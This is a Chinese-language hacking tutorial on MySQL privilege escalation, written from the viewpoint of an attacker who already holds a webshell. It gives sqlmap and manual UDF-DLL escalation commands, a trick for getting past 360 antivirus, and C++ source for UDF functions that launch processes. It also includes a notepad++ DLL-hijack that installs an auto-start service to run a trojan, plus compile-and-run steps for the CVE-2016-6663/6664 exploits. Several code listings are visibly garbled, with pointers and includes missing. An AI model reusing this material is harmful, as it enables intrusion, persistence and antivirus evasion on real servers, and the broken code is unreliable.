小议Mysql提权

  • A+

本文将对mysql常见的提权方式进行讲解

mysql提权方式

mysql下常见的提权方法有:

  1. mof
  2. udf
  3. CVE-2016-6663
  4. CVE-2016-6664

因为mof提权只针对低版本系统,故本文不做论述,只针对后面的三种进行简单介绍。

udf提权

什么是udf:

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

提权原理:

udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

ps:

language
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

利用条件:

​ (1)MySQL 数据库没有开启安全模式。

​ (2)已知的数据库账号具有对 MySQL 数据库 insert 和 delete 的权限,最好是 root 最高权限。

​ (3)shell 有写入到数据库安装目录的权限。

(4)windows2003、windowsXP、windows7

漏洞复现:

操作系统版本:windows 2003
数据库版本:5.5.53

截图.png

利用sqlmap进行UDF提权

sqlmap.py -d "mysql://root:[email protected]:3306/mysql" --os-shell

截图 1.png

如果提示:

[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed

是因为你缺少相应的库,安装即可。

language
git clone https://github.com/petehunt/PyMySQL/
cd PyMySQL/
sudo python setup.py install

3.png

sqlmap内置的dll支持以下函数:

4.png

除了这些,其他有用的函数如下:

5.png

利用msf进行UDF提权

mysql_udf_payload模块,适应于5.5.9以下。

手动提权

大多数的大马目前都有这个功能了,我这里就用一个基础的大马来操作。

6.png

先导出dll,这里显示出错

7.png

错误码2,一般是没有plugin目录。可用流模式突破进而创建文件夹

SQL
select @@basedir;
select 'It is dll' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

大部分的马,已经集成了这类功能

8.png

然后我们只需将其导出即可。

9.png

然后创建函数:

SQL
CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'

执行查询

10.png

然后删除即可。

SQL
drop function shell;
delete from mysql.func where name='shell'

bypass360

360有时会拦截上传的马,将自己要提权的php脚本后缀修改为csproj 然后再通过包含文件即可绕过。

在这之前,我们先看一下udf dll的逻辑,也就是怎么编写一个这种东西。

首先定义主体:

```C++
HANDLE g_module;
//--------------------------------------------------------------------------------------------------------------------------
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
g_module = hModule;
}

return TRUE;

}
```

然后下面是udf独有的代码结构:

C++
extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
//在open3389函数之前调用,一般用于初始化工作,为可选函数;
//return 1出错 ,0 正常
 return 0;
}
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)
{
//真正实现功能的函数,必需函数;
/*
函数内容;
return 结果;
*/
}
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)
{
//在open3389函数之后调用,一般用于内存释放,可选函数;
}

大体上呢,就是这样。里面的就是套windows API就好了,注意里面的数据类型的转换。

比如一个读注册表的函数就可以这样写:

```C++
extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT initid, UDF_ARGS args, char message)

{//return 1出错 ,0 正常

 initid->max_length=6510241024;

 return 0;

}

extern "C" __declspec(dllexport)char regread(UDF_INIT initid, UDF_ARGS args,char result, unsigned long length,char is_null, char error)

{

 if(args->arg_count!=3 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || args->arg_type[2]!=STRING_RESULT || stricmp(args->args[0],"help")==0)

 {

   initid->ptr=(char )malloc(250);

   if(initid->ptr==NULL)return NULL;

   strcpy(initid->ptr,"读注册表函数.\r\n例:select regread(\"HKEY_LOCAL_MACHINE\",\"SYSTEM\\ControlSet001\\Services\\W3SVC\\Parameters\\Virtual Roots\",\"/\");\r\n参数中的\"\\"要用\"\\\"代替.");

length=strlen(initid->ptr);

   return initid->ptr;

 }

DWORD a,b,c;

 BYTE bytere[1000];

 HKEY key,key2;

 if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0)

   key=HKEY_LOCAL_MACHINE;

 else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0)

   key=HKEY_CLASSES_ROOT ;

 else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0)

   key=HKEY_CURRENT_USER ;

 else if(strcmp("HKEY_USERS ",(args->args)[0])==0)

   key=HKEY_USERS ;
else

 {

   initid->ptr=(char )malloc(50+strlen((args->args)[0]));

   sprintf(initid->ptr,"未知的注册表句柄:%s\r\n",(args->args)[0]);

length=strlen(initid->ptr);

   return initid->ptr;

 }

RegCreateKeyEx(key,(args->args)[1],0,0,REG_OPTION_NON_VOLATILE,KEY_QUERY_VALUE,NULL,&key2,&b);

 if(b==REG_OPENED_EXISTING_KEY)

 {

   if(!RegQueryValueEx(key2,(args->args)[2],0,&a,bytere,&c))

   {

     CloseHandle(key2);

     initid->ptr=(char )malloc(1001);

     memset(initid->ptr,0,1001);

     strcpy(initid->ptr,(char )bytere);

length=strlen(initid->ptr);

     return initid->ptr;

   }

   else

   {

     CloseHandle(key2);

     initid->ptr=(char )malloc(100);

     strcpy(initid->ptr,"找不注册表值\r\n");

length=strlen(initid->ptr);

     return initid->ptr;

   }

 }

 else

 {

   CloseHandle(key2);

   initid->ptr=(char )malloc(100);

   strcpy(initid->ptr,"找不注册表项\r\n");

   *length=strlen(initid->ptr);

   return initid->ptr;

 }

}

extern "C" __declspec(dllexport)void regread_deinit(UDF_INIT *initid)

{

 if(initid->ptr)

   free(initid->ptr);

}

```

比如,我们定义一个开进程的函数,本人vs坏掉了,就直接那包子师傅的代码过来了:

```C++

include "stdio.h"

include

include

include

include

include

include "mysql.h"

include "resource.h"

include

pragma comment(lib, "netapi32.lib")

pragma comment(lib, "Urlmon.lib")

HANDLE g_module;

BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
g_module = hModule;
}

return TRUE;

}

extern "C" __declspec(dllexport)my_bool adduser_init(MSXU_INIT initid, MSXU_ARGS args, char message)
{//return 1出错 ,0 正常
initid->max_length=65
10241024;
return 0;
}
extern "C" __declspec(dllexport)char
adduser(MSXU_INIT initid, MSXU_ARGS args,char result, unsigned long length,char is_null, char error)
{

if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0)
{
initid->ptr = (char )malloc(200);
if (initid->ptr == NULL)return NULL;
strcpy(initid->ptr, "use:select adduser(\"path\")");
length = strlen(initid->ptr);
return initid->ptr;
}
else {
initid->ptr = (char )malloc(200);
if (initid->ptr == NULL)return NULL;
strcpy(initid->ptr, args->args[0]);
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.wShowWindow = SW_SHOW;
si.dwFlags = STARTF_USESHOWWINDOW;
bool fRet = CreateProcess(args->args[0], NULL, NULL, FALSE, NULL, NULL, NULL, NULL, &si, &pi);
length = strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void adduser_deinit(MSXU_INIT *initid)
{
if(initid->ptr!=NULL)
free(initid->ptr);
}

```

然后执行:

11.png

被拦截,然后我们使用mysql劫持notepad创建服务启动notepad,再用另一个notepad启动木马即可绕过。

```C++

include

pragma comment(linker, "/EXPORT:Scintilla_DirectFunction=_DLLHijacker_Scintilla_DirectFunction,@1")

define EXTERNC extern "C"

define NAKED __declspec(naked)

define EXPORT __declspec(dllexport)

define ALCPP EXPORT NAKED

define ALSTD EXTERNC EXPORT NAKED void __stdcall

define ALCFAST EXTERNC EXPORT NAKED void __fastcall

define ALCDECL EXTERNC NAKED void __cdecl

namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = { 0 };
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("SciLexer1.dll"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
inline VOID WINAPI Free()
{
if (m_hModule)
FreeLibrary(m_hModule);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf(szProcName, "%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}

//启动服务
BOOL StartSampleService()
{
SERVICE_STATUS status;
SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); // 打开服务控制管
//理数据库,并返回服务控制管理数据库的句柄
if (schSCManager == NULL)
{
return FALSE;
}
SC_HANDLE schService = OpenService(schSCManager,"Socks5",SERVICE_ALL_ACCESS | DELETE); // 获得服务句柄
if (schService == NULL)
{
return FALSE;
}
QueryServiceStatus(schService, &status); // 获得服务的当前状态
if (status.dwCurrentState = SERVICE_STOPPED) // 如果服务处于停止状态,则将其状态设置为启动
//状态
StartService(schService, 0, NULL); //启动服务
CloseServiceHandle(schSCManager); // 关闭服务句柄
CloseServiceHandle(schService);
return TRUE;
}
using namespace DLLHijacker;
SC_HANDLE schSCManager;
SC_HANDLE schService;
VOID Hijack()
{
SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE hServ = OpenService(schSCManager, "Socks5", SERVICE_QUERY_STATUS);
char path[256] = "C:/phpstudy/anzhuang/WWW/cmd/notepad++.exe";
if (!hServ)
{
SC_HANDLE schService = CreateService(schSCManager, "Socks5", "Socks5",
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
path,
NULL, NULL, NULL, NULL, NULL); //安装服务
}
CloseServiceHandle(schSCManager); //关闭服务句柄
CloseServiceHandle(hServ);
CloseServiceHandle(schService);
BOOL x= StartSampleService();
}
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if (Load())
Hijack();
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
ALCDECL DLLHijacker_Scintilla_DirectFunction(void)
{
__asm POP m_dwReturn[0 * TYPE long];
GetAddress("Scintilla_DirectFunction")();
__asm JMP m_dwReturn[0 * TYPE long];
}

```

CVE-2016-6663和CVE-2016-6664提权

CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。

CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。
导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。
可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限

CVE-2016-6663利用条件

  • 1.已经getshell,获得www-data权限
  • 2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码
  • 3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权
  • 4.Mysql<5.5.51或<5.6.32或<5.7.14

CVE-2016-6664利用条件

  • 1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可)
  • 2.需要在mysql权限下运行才能利用
  • 3.Mysql<5.5.51或<5.6.32或<5.7.14

先pull一个lamp的环境:

13.png

启动并连接docker

language
docker run -d -P tutum/lamp
docker ps
docker exec -it <container_id> /bin/bash

14.png

然后安装一些依赖 wget、gcc、libmysqlclient-dev

然后写入一句话木马:

15.png

给权限:

language
chmod -R 777 /var/www/html

然后创建一个有权限的用户。

16.png

重启一下服务:

然后打包,重新启动:

17.png

访问,

18.png

链接刚才的webshell,权限为www-data

19.png

新建我们的exp( http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html)编译并运行:

```language
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
./mysql-privesc-race test 123456 localhost test

```

20.png

mysql提升为root权限

tutum/lamp日志方式不是默认的基于文件的日志,而是syslog,所以我们首先要将它改为默认配置

```language
vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf

```
删除掉syslog,然后重启mysql,

然后下载exp(CVE-2016-6664 exp网址:http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html)

language
chmod 777 mysql-chowned.sh
./mysql-chowned.sh /var/log/mysql/error.log

21.png

参考文章:

https://xz.aliyun.com/t/2719

https://xz.aliyun.com/t/739

http://www.aiyuanzhen.com/index.php/archives/174/

https://maikefee.com/archives/9ccf323f.html

http://what-when-how.com/Tutorial/topic-443fuj/MySQL-51-Plugin-Development-20.html

https://cloud.tencent.com/developer/article/1021193

https://osandamalith.com/2018/02/11/mysql-udf-exploitation/

http://www.ba0z1.com/archives/4.html

https://uuzdaisuki.com/2018/07/02/mysql%E6%95%B0%E6%8D%AE%E5%BA%93%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/